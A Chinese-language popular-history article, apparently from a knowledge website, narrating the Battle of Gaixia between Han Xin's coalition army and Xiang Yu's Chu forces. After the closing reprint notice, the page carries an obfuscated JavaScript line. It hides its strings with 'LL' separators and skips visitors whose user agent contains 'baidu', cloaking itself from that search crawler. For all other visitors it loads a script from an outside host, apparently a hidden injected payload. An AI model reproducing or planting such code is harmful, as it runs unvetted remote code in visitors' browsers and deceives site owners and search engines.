當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

垓下之戰(zhàn)哪一方戰(zhàn)???垓下之戰(zhàn)的戰(zhàn)爭經(jīng)過

2016-05-29 10:31:13  來源:360常識網(wǎng)   熱度:
導(dǎo)語:漢五年十二月,劉邦、韓信、劉賈、彭越、英布等五路大軍于垓下(今安徽靈璧南,一說今河南淮陽、鹿邑間)基本完成了對10萬楚軍的合圍。劉邦

漢五年十二月,劉邦、韓信、劉賈、彭越、英布等五路大軍于垓下(今安徽靈璧南,一說今河南淮陽、鹿邑間)基本完成了對10萬楚軍的合圍。劉邦立刻任命韓信為聯(lián)軍統(tǒng)帥,指揮大軍作戰(zhàn)。韓信命劉賈、英布軍自南將楚軍外圍出路全部封閉,命彭越軍自北封閉通路,韓信軍三十萬于劉邦本部軍主力則合成一股,向困守垓下的十萬楚軍發(fā)起進(jìn)攻,展開決戰(zhàn)!

首先,韓信率五陣大軍先行向楚軍發(fā)動挑腥性進(jìn)攻。項羽立刻率十萬楚軍發(fā)動中央突破作戰(zhàn),矛頭直制韓信本部。項羽親自率軍出擊,沖鋒在前,楚軍以騎兵在前、步兵在后隨其沖鋒。漢軍接戰(zhàn),前陣立刻被擊潰。韓信立刻命令大軍后撤,以三十萬大軍為屏障掩護(hù)指揮部和劉邦的十萬人馬向后退去。漢軍且戰(zhàn)且退,楚軍則是繼續(xù)孤注一擲的瘋狂突擊,項羽本人更加是一馬當(dāng)先,沖鋒速度之快甚至將十萬楚軍將士統(tǒng)統(tǒng)甩在了后面,連楚軍騎兵都沒有一人能趕上。一路上,漢軍如烏云一般層層疊疊,一眼望去,滿上遍野。項羽率十萬將士猛打猛攻,連破漢軍數(shù)道防線,三十萬大軍潰散一半多,一路之上無人可擋,直殺向韓信本人。

而另一方面,當(dāng)韓信以前陣為屏障掩護(hù)劉邦軍回撤退避的同時,孔熙、陳賀所率的左右兩軍也自楚軍左右兩側(cè)進(jìn)行著迂回機(jī)動,其意思便是為了節(jié)制楚軍進(jìn)攻側(cè)翼、分離楚軍騎兵步兵之間的配合、遷制楚軍進(jìn)攻。

經(jīng)過半日撕殺,楚軍破軍無數(shù),韓信的前軍幾乎被打成了廢渣,但項羽依然沒能突入漢軍指揮部,韓信始終不斷的向后退卻,始終沒有出現(xiàn)在項羽面前。而項羽過于猛烈的沖鋒,卻明顯拉開了軍隊前后的距離。當(dāng)時的楚軍,項羽本人脫離全軍沖風(fēng)在前、沖開敵軍一道道兵列線;后面是速度較快的主力騎兵急趕項羽、并將被項羽本人打開缺口的漢軍散兵一一沖散踏過;而最后面的是速度最慢的步兵部隊,他們與未被騎兵踩死的漢兵一邊撕殺一邊繼續(xù)追趕騎兵。楚軍隊形越來越散、越拉越長,已經(jīng)漸漸失去了緊密的隊形和互相之間的配合。

戰(zhàn)至下午,漢軍中軍一退再退,左右兩軍迂回急進(jìn),終于完成了前后夾擊之勢。漢軍左右軍隨之投入了對楚軍后方則翼的進(jìn)攻,以緊密的陣形兩面壓來,迅速合圍了落在后面的楚軍步兵。楚軍將士殊死抵抗,兩軍官兵絞斗在一起,立刻陷入交戰(zhàn)狀態(tài),將楚軍步兵、騎兵一分兩半,楚軍攻勢隨之被遷制。項羽不得已,只好率殘存騎兵回師而去、救援步兵。

當(dāng)?shù)弥笥臆娡瓿捎鼗夭l(fā)動了對楚軍后方步兵的進(jìn)攻之時,韓信隨即組織反擊,并將劉邦主力以及所剩的全部中軍投入反沖擊。

漢軍向項羽和楚軍前鋒騎兵反撲而來。數(shù)十萬漢軍向楚軍發(fā)起了前后夾擊。項羽見勢不妙,立刻率全軍向反方向突圍,沖開漢左右軍的包圍,退回營中。此戰(zhàn),楚軍陣亡四萬,被俘兩萬,僅剩不到四萬傷兵隨項羽退回陣中,漢軍亦傷亡十幾萬,付出了遠(yuǎn)高于楚軍的代價。

隨后,韓信率領(lǐng)全軍、并收攏此前被楚軍沖散的部隊全數(shù)壓上,并徹底包圍了楚軍大營。至此垓下決戰(zhàn)到此結(jié)束。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}